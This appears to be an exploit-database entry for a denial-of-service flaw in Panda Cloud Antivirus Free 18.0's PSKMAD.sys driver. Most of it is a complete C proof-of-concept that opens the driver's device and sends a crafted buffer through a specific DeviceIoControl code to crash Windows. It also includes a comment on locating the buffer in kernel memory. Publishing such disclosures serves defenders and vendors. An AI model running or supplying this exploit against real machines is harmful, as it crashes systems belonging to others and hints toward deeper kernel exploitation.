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Panda Cloud Antivirus Free 18.0 Denial Of Service

Panda Cloud Antivirus Free 18.0 Denial Of Service
Posted Apr 29, 2017
Authored by Peter Baris

Panda Cloud Antivirus Free version 18.0 suffers from a PSKMAD.sys denial of service vulnerability.

tags | exploit, denial of service
MD5 | d950ffc02fa4db2f7b281b9cf8a32709

Panda Cloud Antivirus Free 18.0 Denial Of Service

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*
# Exploit Title: Panda Cloud Antivirus Free - 'PSKMAD.sys' - BSoD - denial of service
# Date: 2017-04-29
# Exploit Author: Peter baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: http://download.cnet.com/Panda-Cloud-Antivirus-Free-Edition/3000-2239_4-10914099.html?part=dl-&subj=dl&tag=button&lang=en
# Version: 18.0
# Tested on: Windows 7 SP1 Pro x64, Windows 10 Pro x64
# CVE : requested
*/

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>


#define DEVICE_NAME L"\\\\.\\PSMEMDriver"

LPCTSTR FileName = (LPCTSTR)DEVICE_NAME;
HANDLE GetDeviceHandle(LPCTSTR FileName) {
HANDLE hFile = NULL;

hFile = CreateFile(FileName,
GENERIC_READ | GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
NULL,
0);

return hFile;
}

int main()
{

HANDLE hFile = NULL;
PVOID64 lpInBuffer = NULL;
ULONG64 lpBytesReturned;
PVOID64 BuffAddress = NULL;
SIZE_T BufferSize = 0x800;

printf("Trying the get the handle for the PSMEMDriver device.\r\n");

hFile = GetDeviceHandle(FileName);

if (hFile == INVALID_HANDLE_VALUE) {
printf("Can't get the device handle, no BSoD today. 0x%X\r\n", GetLastError());
return 1;
}

// Allocate memory for our buffer
lpInBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);


if (lpInBuffer == NULL) {
printf("VirtualAlloc() failed. \r\n");
return 1;
}


BuffAddress = (PVOID64)(((ULONG64)lpInBuffer));
*(PULONG64)BuffAddress = (ULONG64)0x542DF91B; //Pool header tag???
BuffAddress = (PVOID64)(((ULONG64)lpInBuffer + 0x4));
*(PULONG64)BuffAddress = (ULONG64)0x42424242;
BuffAddress = (PVOID64)(((ULONG64)lpInBuffer + 0x8));

RtlFillMemory(BuffAddress, BufferSize-0x8 , 0x41);



DeviceIoControl(hFile,
0xb3702c38,
lpInBuffer,
NULL, //Change it to BufferSize and put a bp PSKMAD+3150 -> rax will point to our buffer in the kernel memory
NULL,
NULL,
&lpBytesReturned,
NULL);

/*This part is pretty much useless, just wanted to be nice in case the machine survives.*/
printf("Cleaning up.\r\n");
VirtualFree((LPVOID)lpInBuffer, sizeof(lpInBuffer), MEM_RELEASE);
CloseHandle(hFile);
printf("Resources freed up.\r\n");
return 0;
}

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